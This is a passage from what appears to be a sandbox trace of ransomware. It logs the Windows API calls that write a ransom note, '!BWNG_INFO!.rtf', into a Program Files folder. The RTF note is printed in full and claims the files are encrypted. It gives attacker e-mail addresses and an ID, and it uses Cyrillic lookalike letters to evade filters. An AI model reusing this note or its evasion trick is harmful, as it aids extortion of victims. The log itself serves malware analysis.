t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.977] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.978] CloseHandle (hObject=0x1b0) returned 1 [0034.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\!BWNG_INFO!.rtf" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\!bwng_info!.rtf")) returned 0xffffffff [0034.978] GetLastError () returned 0x2 [0034.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\!BWNG_INFO!.rtf" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 